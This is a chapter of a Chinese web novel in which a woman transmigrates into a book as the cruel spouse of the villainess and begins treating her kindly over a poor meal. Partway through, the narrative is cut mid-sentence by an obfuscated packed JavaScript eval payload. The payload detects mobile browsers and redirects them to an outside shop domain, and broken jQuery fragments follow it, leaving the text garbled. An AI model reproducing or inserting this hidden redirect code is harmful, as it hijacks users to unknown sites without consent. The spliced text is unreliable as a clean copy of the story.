2. 第 2 章
    宋渝归张了张嘴,话都说不出来,心中隐有不服,原主造的孽,凭什么让她来偿还?

    可她若不还,大概率会死。

    没想过自己的心眼能比得上大反派,这是不可能的事,对方想杀她,她恐怕就只是躺平等死了。

    宋渝归:我真的要过上这种鬼日子吗?/心如死灰jpg.

    她不说话,沈惜枝也是不敢说话的,亦不敢再偷偷抬头看她,便垂着眸,一副安静乖巧模样。

    宋渝归在心里痛苦挣扎了很久,才勉强接受自己穿书的事,手掌忍不住抬起捂住双眼,日子不过不行,寻死也不行,万一死了就是真死了,回不去呢。

    好难过。

    她悲伤完放下手,又抬眼看去,见那肉眼可见一身伤的女子仍站在那,垂着头,露出天鹅一般修长雪白的颈项,她相貌美艳,气质却十分胆小瑟缩,仿佛怕她忽而暴起伤人一般。

    是了,以原主的性格,喜怒无常,还真会这样。

    宋渝归眉眼处一闪而过些许怜惜,身子还十分僵硬,佯装方才的问名只是一时兴起,随口问问一般,开口尽量显得不那么凶悍吓人,“惜枝,你刚刚说晚饭好了?”

    她还记得这个,实在是急需和沈惜枝说点什么转移话题,以免她疑心。

    书中大反派无疑是极聪明的,不然也不能装那么久。

    她怕沈惜枝看出不对,把她当妖怪烧了怎么办QAQ。

    反正她也不喜欢女子,弄死她,她就能和男主双宿双飞了。

    可宋渝归当然不想死,大不了,大不了把大反派养的好一点,再与她和离嘛,让她能好好去追求自己喜欢的人。

    沈惜枝听她问话,也不管她怎么又不打她了,不敢耽搁半分,立马道,“是,晚饭我做了菜粥,妻君去吃一点吧……”

    这称呼也听的宋渝归直起鸡皮疙瘩,哪有百合人这么喊自己另一半的,可她今日已经显得和原主很不同了,如果再改称呼……

    恐太过显眼。

    过几日再让沈惜枝改吧。

    宋渝归想着。

    “那我去吃一点。”

    她忽而想到原主素来对大反派不好,而自己的脸色方才展露太多不同,现在只能尽力弥补,也不能一下子变得太温和,只能循序渐进,便故意冷下脸来,一副不苟言笑的样子走过去。

    沈惜枝刚觉得她今日格外怪异,眼下见她如此,又放下心来,还是那个宋渝归。

    她侧身让出一条并不宽敞的道路,宋渝归表面冷淡,实则小心翼翼的走过去,不想碰到女子伤痕累累的手,走到院子,入目便是一张破旧方桌,左右是两个同样看起来很有年份的椅子。

    宋渝归心梗了一下,好不容易努力奋斗靠自己过上好日子了,一朝回到解放前。

    拳头硬了,以后再也不爱看种田文了!!!

    沈惜枝落后她两步,并不敢离得太近,只在她落座后才缓缓走过去,拿勺子舀了两碗绿油油的菜粥。

    宋渝归还在跟身下长度不同坐着也不稳的椅子做斗争,她不敢相信,坐在这种椅子上,还能吃个安生饭?一不小心就得摔个四仰八叉,饭都能倒脸上去。

    绿油油的菜汤被人放在面前,她抬眼时只能看见一抹漂亮微红的指尖从自己面前一晃而过,而后便是略带清冷的声音,“妻君,您坐错了。”

    “啊?”

    宋渝归抬头,一脸懵逼,就两个凳子,难道还分主座次座吗?

    “这是我坐的,不太稳固,恐影响妻君胃口。”

    大抵是因为对方没有要打她的意思,沈惜枝松了口气,终于敢好生说话了,只是声音里莫名带着一股冷意,叫宋渝归不寒而栗。

    她低下头,又去看另一只凳子,果然四条腿都好好的,不像这个缺了一角。

    禽兽!真是禽兽啊,明明是你磨镜,娶了人家好好的姑娘来,怎么能这么对她!

    宋渝归倒也不是心疼大反派,她主要还是对自己接手烂摊子的悲愤。

    凳子是不能让的,只能抬头扯出一个僵硬的笑来,“没事,这个太颠了,我坐吧,你坐那个。”

    沈惜枝这才有些惊讶,本就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090312|149588||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    圆溜溜的眼睛睁的更圆了,却黛眉微蹙,迟迟不敢坐,“妻君……”

    “别说了,我今天不想坐那个。”

    见沈惜枝脸色不对,她连忙又冷了语气。

    自嫁过来后再没过过好日子,沈惜枝对她畏惧极了,她不悦,自己自然不敢再说什么,沉默的在旁边坐下,开始低头小口小口喝那碗绿色的东西。

    宋渝归这才有功夫仔细看看今日的伙食,猜到会不太好,但一整碗绿汤还是叫她沉默了。

    没忍住问,“不是说吃菜粥吗?”

    米呢?我怎么没看见???

    沈惜枝身形微僵,悄无声息的往旁边挪了挪,只一点点屁股坐在凳子上,清瘦脊背紧张的挺直,小声说,“米,米都吃完了,这是我昨日去山上挖的野菜,挖的多就多放了些,我明日会去镇上买一些米的。”

    以她目光所及的一切,宋渝归合理怀疑这家是没钱了。

    她没在饭桌上说什么倒人胃口的话,听完后沉默片刻,只接了句吃吧,端起碗埋头喝了一口野菜粥,一股苦涩的味道,有点难吃。

    宋渝归忍了忍,咽下去了。

    这具身体大约没吃午饭,此时已是饥肠辘辘,菜汤要是不喝,恐怕得饿一晚上,算了,吃得苦中苦,方为人上人QAQ。

    宋渝归憋着一口气,努力平衡住身形,将菜汤一饮而尽,只在最底下发现了一点点米,更沉默了。

    而反观沈惜枝那碗,连菜都没多少。

    沉默是今晚的康桥。

    她拦住起身欲收拾碗筷的小姑娘,却将人吓得又踉跄退了几步,手中的碗也落在地上,发出清脆的碎裂声,宋渝归没想到自己威力这么大,站在那挠后脑勺,一脸尴尬。

    沈惜枝捂住胸口,喘着气儿,神色惊疑不定,当视线落在一地碎瓷上时,长睫微颤,终于归为绝望。

    红唇被不自觉咬住,双眸蒙上雾意,忍不住想,她要开始了吗,今日还以为……能好好的撑过去。

    果然是奢望,以宋渝归暴戾的心性,如何能叫她有一日安生好过。